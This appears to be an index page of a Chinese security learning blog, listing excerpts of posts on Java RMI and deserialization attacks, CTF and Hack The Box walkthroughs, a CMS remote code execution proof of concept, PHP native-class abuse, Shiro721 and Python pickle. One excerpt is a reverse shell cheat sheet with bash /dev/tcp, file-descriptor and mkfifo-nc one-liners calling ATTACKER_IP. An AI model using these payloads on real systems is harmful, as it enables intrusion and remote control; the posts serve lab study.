RMI_2
前言前一个专题,我们对RMI的基础和通信原理进行了简单的分析,这一期对攻击方法进行一个总结参考:Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s BlogRMI攻击方式 | CurlySean’s Blog RMI的基本攻击方式 RMI Client 打 RMI Registry RMI Client 打 RMI Server RMI Client 攻击RMI registry只能够通过客户端打registry.根据上篇文章的分析,我们要去找一下反序列的点位在哪里我们在使用一下语句时,会调用了lookup 1IRemoteOBJ remoteOBJ = (IRemoteOBJ) registry.lookup("rmiserver"); 而这个lookup这里对应着注册中心(特殊的服务端的skel),这时就会调用到case2,这都是我们之前分析过的,所以不同的方法对应着不同的case0->bind1->list2->lookup3->rebind4->unbind那么,我们就可以通过这里不同的方...
RMI_1
前言今日开始java中RMI的学习先记录一下RMI的坑点:RMI攻击手法只能在jdk8u121之前可以使用,因为在8u121之后bind rebind unbind这三个方法只能对localhost进行攻击 环境准备 jdk8u65 RMI基础RMI介绍RMI (Remote Method Invocation) 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server 端和一个 Client 端。 Server 端通常会创建一个对象,并使之可以被远程访问。 这个对象被称为远程对象。Server 端需要注册这个对象可以被 Client 远程访问。 Client 端调用可以被远程访问的对象上的方法,Client 端就可以和 Server 端进行通信并相互传递信息。 说到这里,是不是发现使用 RMI 在构建一个分布式应用时十分方便,它和 RPC 一样可以实现分布式应用之间的互相通信,甚至和现在的微服务思想都十分类似。...
Javacc
前言靶场是从极核开的,https://hackhub.get-shell.com/ 分析一个登录系统,弱密码爆破一下 账号,密码分别是admin,admin123 看Cookie这里明显的反序列化字符串,rO0AB使用工具JavaGadgetGenerator进行cc链的测试设置好响应时间,我们来生成对应的链子,开始测试当我们测试到cc6的时候就有明显的延迟,我们在使用DNS测试一下有响应,这也确认了是cc6,同时也可以出网,那我们使用vshell来getshell启动vshell 1nohup ./v_linux_amd64 > /dev/null 2>&1 & 使用上线命令 上线成功 学了个vshell的使用,不赖
Cap
前言HTB的第一台靶机vpn选新加坡 过程先进行扫描,发现有21,22,80端口在去看一下web站点这边有一个下载按钮,我们尝试下载之后有一个流量包,但是这个流量包中,没啥可利用的信息,这时候,我们注意到url中的1,尝试修改为0,继续下载试试呢。 发现可以利用的信息 这里就能很明了的看到ftp连接账户和密码了,这时我们尝试连接ftpuser:nathanpass: Buck3tH4TF0RM3!可以进行ftp连接,那么也可以试一下ssh喽 拿到第一个flag 接着下一个一般是在root目录里,这里需要提权,我们扫描一下看看,有哪些提权的地方这里传linpeas的时候卡死了,解决办法就是可以尝试挂一个代理,然后在连接vpn,我只能说proxychain4还是太舒服了。 有python3.8,尝试python的一个uid提权,GTFOBins 但是我们这里不能使用sudo,可以把它写到文件中执行,在给可执行权限 然后我们找到flag
海洋cms
flag1 fscan扫描完,找个poc rce 1234567891011121314POST /search.php HTTP/1.1Host: 113.45.161.52:89Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://113.45.161.52:89/index.phpAccept-Encoding: gzip, deflate, ...
php原生类
学习一下php原生类 常用的php原生类 Error Exception SoapClient Directorylterator SimpleXMLElement ZipArchive SplFileObject 一个一个来跟着大佬博客学习 使用Error/Exception内置类进行xss内置类Error 使用于php7 开启报错 Error类是 php 的一个内置类,用于自动自定义一个 Error,在 php7 的环境下可能会造成一个 xss 漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个 POP 链走到一半就走不通了,不如尝试利用这个来做一个 xss,其实还是有好一些 cms 会选择直接使用 echo 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo object的时候)会触发 __toString 方法,这是一种挖洞的新思路。 对内置类Error xss的使用 123456<?php$a = unserialize($_POST['cmd']); //反序列化成对象...
shiro721
前言shiro721是shiro550更新过后的一个版本,不同于shiro550,它使用的是动态密钥对Cookie值rememberMe进行的加密,这样就避免了攻击者的攻击,但是真的能避免吗?既然有这个漏洞,那就说明无法避免,主要还是因为shiro使用了AES-CBC的加密方式,这时我们就可以使用Padding Oracle Attack的方法(不需要密钥也可以伪造密文)进行攻击。 环境准备https://github.com/jas502n/SHIRO-721/blob/master/samples-web-1.4.1.war 下载war包,解压之后打开这个项目将cc换成3.2.1的版本 创建一个新的项目 踩坑点:不要使用jdk版本8u65,版本太低会报错误 将刚刚解压的war包里的内容放入webapp中 依赖的添加,在lib下 添加tomcat启动(记得工件) 最后启动环境,我们可以看到如下界面 漏洞利用使用ysoserial工具生成URLDNS的payload 1java -jar ysoserial.jar URLDNS http://56db4471.log....
CB链
环境准备参考:https://www.cnblogs.com/1vxyz/p/17588722.html 依赖 1234567891011121314151617<dependencies> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </de...
反弹shell
这里记录一下反弹shell的方法,方便以后的使用 参考https://mp.weixin.qq.com/s/hTGuZ7kdh7K4mToGdbogvA 基于bash/Terminal的反弹shell 经典的TCP反弹 1bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 使用文件描述符 1exec 5<>/dev/tcp/ATTACKER_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done 使用管道 1mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc ATTACKER_IP PORT > /tmp/f UDP反弹 1bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1 反弹到多个端口 1bash -i >& /dev/tcp/A...
pickle反序列化
前言参考:https://j1rry-learn.github.io/posts/ctf%E9%A2%98%E5%9E%8B-pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/ pickle模块基于python主要牵扯到两个函数,一个是dumps另一个是loads,类似于emmmm,php的serialize和unserialize方法,危害还是很大的,可以直接进行命令执行。 知识点 pickle.dumps(obj[, protocol]) 1234功能:将obj对象序列化为string形式,而不是存入文件中。参数:obj:想要序列化的obj对象。protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。 pickle.loads(string) 123功能:从string中读出序列化前的obj对象。参数:string:文件名称。 总结来说,dumps是序列化成一个字符串,而loads是反序列化成一个对象。 ...
